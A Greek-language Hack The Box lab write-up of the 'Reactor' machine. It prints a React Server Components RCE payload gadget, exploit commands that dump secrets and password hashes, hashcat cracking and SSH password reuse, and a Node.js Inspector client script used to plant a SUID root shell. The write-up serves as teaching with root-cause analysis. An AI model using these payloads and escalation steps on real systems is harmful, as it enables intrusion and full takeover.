Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Reactor

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Reactor είναι μια ευθεία γραμμή πάνω σε τρία λάθη σύγχρονου stack. Το foothold είναι το CVE-2025-55182 — το "React2Shell" prototype-pollution RCE στα React Server Components — πάνω σε ένα Next.js dashboard παρακολούθησης αντιδραστήρα, που δίνει unauthenticated code execution ως ο λογαριασμός υπηρεσίας node. Ένα αρχείο SQLite μέσα στον φάκελο της εφαρμογής κρατάει ένα ανάλατο MD5 που το rockyou σπάει σε δευτερόλεπτα· το ίδιο string είναι και ο κωδικός SSH του χρήστη engineer. Το root είναι το πιο καθαρό κομμάτι: μια υπηρεσία uptime-monitor που τρέχει ως root καλεί το Node με --inspect δεμένο στο 127.0.0.1:9229, οπότε όποιος έχει τοπική πρόσβαση μπορεί να κουμπώσει στον Node.js Inspector μέσω του Chrome DevTools Protocol και να τρέξει Runtime.evaluate αυθαίρετο κώδικα μέσα σε μια root διεργασία.
ReactorWatch — Core Monitoring System dashboard: core status OK, core temp 324C, pressure 155 bar, coolant flow, turbine output, system logs and on-site personnel panels
Next.js :3000 → CVE-2025-55182 RSC RCE → node (uid 999) → reactor.db — MD5 → rockyou → reactor1 → engineer (SSH) → node --inspect :9229 (root) → root
Reactor attack chain: unauthenticated React Server Components RCE for foothold, an unsalted MD5 from reactor.db cracked to the engineer SSH password for user.txt, and a root Node.js Inspector on loopback driven via Runtime.evaluate for root.txt

Αναγνώριση

Nmap

Δύο ports. Το SSH είναι η έξοδος· όλα γίνονται στο 3000.

nmap
SP1R4@kali)-[~] └$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA reactor PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 3000/tcp open http Node.js (Next.js) |_http-title: ReactorWatch | Core Monitoring System

Το port 3000 είναι μια εφαρμογή Next.js — τα response headers το κάνουν σαφές, και μας λένε επίσης ότι κάνει server-rendering React components, που είναι ολόκληρη η attack surface για το foothold:

curl -sI http://<TARGET_IP>:3000/
HTTP/1.1 200 OK Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch X-Powered-By: Next.js Cache-Control: s-maxage=31536000 Content-Type: text/html; charset=utf-8

Η ίδια η σελίδα είναι ένα στατικό-φαινόμενο dashboard SCADA "ReactorWatch" — χωρίς login, χωρίς εμφανές input. Το header Vary: RSC είναι το κλειδί: αυτή η εφαρμογή δέχεται React Server Component action requests, και αυτό ακριβώς εκμεταλλεύεται το CVE-2025-55182.

Foothold — CVE-2025-55182 (React2Shell)

Το CVE-2025-55182 είναι ένα unauthenticated RCE στα React Server Components (το Next.js το καταγράφει και ως CVE-2025-66478 στη δική του βάση). Σε λίγα λόγια: ο parser των απαντήσεων "server action" του RSC ακολουθεί ένα κλειδί __proto__ μέσα στο serialized model, και μια κατασκευασμένη τιμή _response._prefix γράφεται μέσα σε ένα string που ο deserializer αργότερα κάνει evaluate. Βάζοντας σε αυτό το prefix ένα snippet που φτάνει στο child_process, το payload τρέχει μέσα στη διεργασία Node — χωρίς auth, χωρίς έγκυρο action id. Το trigger είναι ένα μοναδικό multipart POST / με header Next-Action και ένα body σε σχήμα resolved-promise model:

το payload gadget (συνοπτικά)
part "0" = {"then":"$5:__proto__:then","status":"resolved_model","reason":-3, "value":"{\"then\":\"$B1A5E\"}", "_response":{ "_prefix":"var r=process.mainModule.require('child_process') .execSync('id').toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`NEXT_REDIRECT;push;/login?a=${btoa(r)};307;`});", "_chunks":"$Q2", "_formData":{"get":"$5:constructor:constructor"}}} τα parts "1".."5" καλωδιώνουν το reference chain· η έξοδος της εντολής επιστρέφει base64-encoded μέσα στο response header X-Action-Redirect.

Αντί να φτιάξω το multipart framing με το χέρι, χρησιμοποίησα ένα δημόσιο PoC (Chocapikk/CVE-2025-55182) που χτίζει το gadget και κάνει decode το redirect header για σένα:

exploit.py — έλεγχος λογικής
SP1R4@kali)-[~] └$ python3 exploit.py -u http://<TARGET_IP>:3000 -c "id" Success uid=999(node) gid=988(node) groups=988(node)

Unauthenticated code execution ως node. Η εφαρμογή βρίσκεται στο /opt/reactor-app· δύο αρχεία εκεί αξίζει να διαβαστούν — το .env και μια βάση SQLite:

exploit.py -c "cat .env; sqlite3 reactor.db .dump"
DB_PATH=/opt/reactor-app/reactor.db SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook NODE_ENV=production --- CREATE TABLE users ( id INTEGER PRIMARY KEY, username TEXT NOT NULL, password_hash TEXT NOT NULL, role TEXT NOT NULL, email TEXT ); INSERT INTO users VALUES(1,'admin', 'a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb'); INSERT INTO users VALUES(2,'engineer', '39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
Δύο 32-hex password hashes, χωρίς prefix $, χωρίς στήλη salt — γυμνό, ανάλατο MD5. Μια στήλη password που δεν σου λέει ούτε τον αλγόριθμό της είναι ήδη ένα finding.

engineer — Σπάσιμο του MD5, επαναχρησιμοποίηση πάνω σε SSH

Το mode 0 του hashcat είναι raw MD5. Το hash του engineer πέφτει στο rockyou αμέσως· το admin δεν σπάει (ούτε χρειάζεται):

hashcat -m 0
SP1R4@kali)-[~] └$ hashcat -m 0 -a 0 hashes.txt rockyou.txt --quiet 39d97110eafe2a9a68639812cd271e8e:reactor1

Ο πίνακας users κρατάει έναν ρόλο web-app, αλλά ο κόσμος επαναχρησιμοποιεί κωδικούς ανάμεσα στα boxes που φιλοξενούν τις εφαρμογές του — και ο engineer είναι πραγματικός τοπικός λογαριασμός:

ssh engineer@<TARGET_IP>
SP1R4@kali)-[~] └$ sshpass -p 'reactor1' ssh engineer@<TARGET_IP> engineer@reactor:~$ id && cat user.txt uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd) [redacted — user flag]

engineer → root — ο Node.js Inspector που κανείς δεν έκλεισε

Το enumeration διεργασιών και sockets φέρνει στην επιφάνεια κάτι που δεν ταιριάζει: μια δεύτερη διεργασία Node, ιδιοκτησίας root, ξεκινημένη με --inspect.

ps -ef / ss -tlnp
engineer@reactor:~$ ps -ef | grep -E 'inspect|node' | grep -v grep ; ss -tlnp root 1310 1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js LISTEN 127.0.0.1:9229 # ο V8 inspector — root LISTEN 127.0.0.1:3000 # η εφαρμογή ReactorWatch — node LISTEN 0.0.0.0:22

Το /opt/uptime-monitor/worker.js είναι ένα ασήμαντο script — κάνει curl στο dashboard κάθε 30 δευτερόλεπτα και προσθέτει μια γραμμή CSV. Αυτό που έχει σημασία είναι πώς ξεκίνησε. Το flag --inspect ανοίγει τον V8 Inspector: ένα WebSocket που μιλάει το Chrome DevTools Protocol και επιτρέπει σε έναν client να βάζει breakpoints, να διαβάζει μνήμη, και — το χρήσιμο κομμάτι — να κάνει evaluate αυθαίρετο JavaScript μέσα στη διεργασία. Είναι δεμένο στο loopback, αλλά εμείς έχουμε ήδη shell πάνω στο box, οπότε το loopback είμαστε εμείς. Δεν υπάρχει έλεγχος token ή origin πάνω στο ακατέργαστο πρωτόκολλο.

Το --inspect είναι development flag. Σε production ισοδυναμεί με το να αφήνεις ένα root REPL να ακούει πάνω σε socket. Η σωστή στάση είναι: ποτέ σε prod, και αν πρέπει, χρησιμοποίησε --inspect κάτω από έναν αφιερωμένο unprivileged χρήστη με το port πίσω από firewall.

Οδήγηση του πρωτοκόλλου χωρίς debugger

Ο επίσημος τρόπος είναι node inspect 127.0.0.1:9229, αλλά αυτό το REPL είναι δύσκολο να το κάνεις script πάνω από SSH, και το box δεν έχει module ws ούτε Python βιβλιοθήκη websockets. Το DevTools Protocol όμως είναι απλά JSON πάνω σε WebSocket, και ένα WebSocket είναι απλά ένα HTTP upgrade συν μια 4-byte XOR μάσκα — περίπου σαράντα γραμμές Node χωρίς dependencies. Πρώτα παίρνουμε το session UUID του debugger από την HTTP πλευρά του inspector, μετά στέλνουμε ένα Runtime.evaluate:

cdp.js — ελάχιστος client CDP
const net = require('net'), crypto = require('crypto'); const [PATH, EXPR] = process.argv.slice(2); const key = crypto.randomBytes(16).toString('base64'); const sock = net.connect(9229, '127.0.0.1', () => sock.write( `GET ${PATH} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\n` + `Upgrade: websocket\r\nConnection: Upgrade\r\n` + `Sec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`)); function send(obj) { # masked text frame const p = Buffer.from(JSON.stringify(obj)), m = crypto.randomBytes(4); const h = p.length < 126 ? Buffer.from([0x81, 0x80 | p.length]) : Buffer.concat([Buffer.from([0x81, 0xFE]), u16(p.length)]); sock.write(Buffer.concat([h, m, p.map((b,i) => b ^ m[i % 4])])); } let up = false, buf = Buffer.alloc(0); sock.on('data', d => { buf = Buffer.concat([buf, d]); if (!up) { if (!buf.includes('\r\n\r\n')) return; up = true; buf = buf.slice(buf.indexOf('\r\n\r\n') + 4); send({ id: 1, method: 'Runtime.evaluate', params: { expression: EXPR, returnByValue: true } }); } const j = readFrame(buf); # parse των server frame(s) if (j && j.id === 1) { console.log(JSON.stringify(j.result.result)); process.exit(0); } });

Η έκφραση τρέχει μέσα στο global scope του worker, οπότε το process.mainModule.require είναι προσβάσιμο. Ρίχνουμε ένα SUID αντίγραφο του bash:

attach → Runtime.evaluate → SUID bash
engineer@reactor:~$ WS=$(curl -s http://127.0.0.1:9229/json | grep -oP '"id": "\K[^"]+') engineer@reactor:~$ node cdp.js "/$WS" \ "process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rooot && chmod +s /tmp/rooot; id').toString()" {"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"} engineer@reactor:~$ /tmp/rooot -p -c 'id; cat /root/root.txt' uid=1000(engineer) euid=0(root) gid=1000(engineer) egid=0(root) [redacted — root flag]
Diagram of the privilege escalation: engineer's dependency-free cdp.js does a raw TCP WebSocket handshake to the root node --inspect listener on 127.0.0.1:9229, sends Runtime.evaluate over the DevTools protocol into the root V8 context, which execSyncs a SUID bash copy that is then run with -p for a root shell and root.txt
Το bash -p κρατάει το effective UID από το SUID bit αντί να το ρίξει — γι' αυτό το shell είναι euid=0 παρόλο που το πραγματικό UID παραμένει engineer. Απλό /tmp/rooot χωρίς -p θα είχε ξαναπέσει στο 1000.

Γιατί Δούλεψε

ΣτάδιοΡιζική αιτία
nodeΟ deserializer των RSC action-reply ακολουθεί __proto__ και κάνει evaluate ένα attacker-controlled _prefix — prototype pollution σε RCE, CVE-2025-55182 (CWE-1321 / CWE-94)
engineerΚωδικοί αποθηκευμένοι ως ανάλατο MD5· ο ίδιος κωδικός επαναχρησιμοποιημένος για τον λογαριασμό SSH του συστήματος (CWE-759 / CWE-521)
rootRoot service ξεκινημένο με --inspect· ο V8 Inspector είναι unauthenticated κανάλι code-execution για όποιον βρίσκεται στο loopback (CWE-489 / CWE-306)

Βασικές εντολές

γρήγορη αναφορά
# Αναγνώριση nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> curl -sI http://<TARGET_IP>:3000/ # X-Powered-By: Next.js, Vary: RSC # Foothold — CVE-2025-55182 RSC prototype-pollution RCE python3 exploit.py -u http://<TARGET_IP>:3000 -c "id" # uid=999(node) python3 exploit.py -u http://<TARGET_IP>:3000 -c "sqlite3 /opt/reactor-app/reactor.db .dump" # engineer — σπάσιμο + επαναχρησιμοποίηση hashcat -m 0 -a 0 hashes.txt rockyou.txt # 39d9... : reactor1 ssh engineer@<TARGET_IP> # user.txt # root — attach στον root Node.js Inspector στο 127.0.0.1:9229 ps -ef | grep -- --inspect ; curl -s http://127.0.0.1:9229/json node cdp.js "/$WS" "process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rooot && chmod +s /tmp/rooot')" /tmp/rooot -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗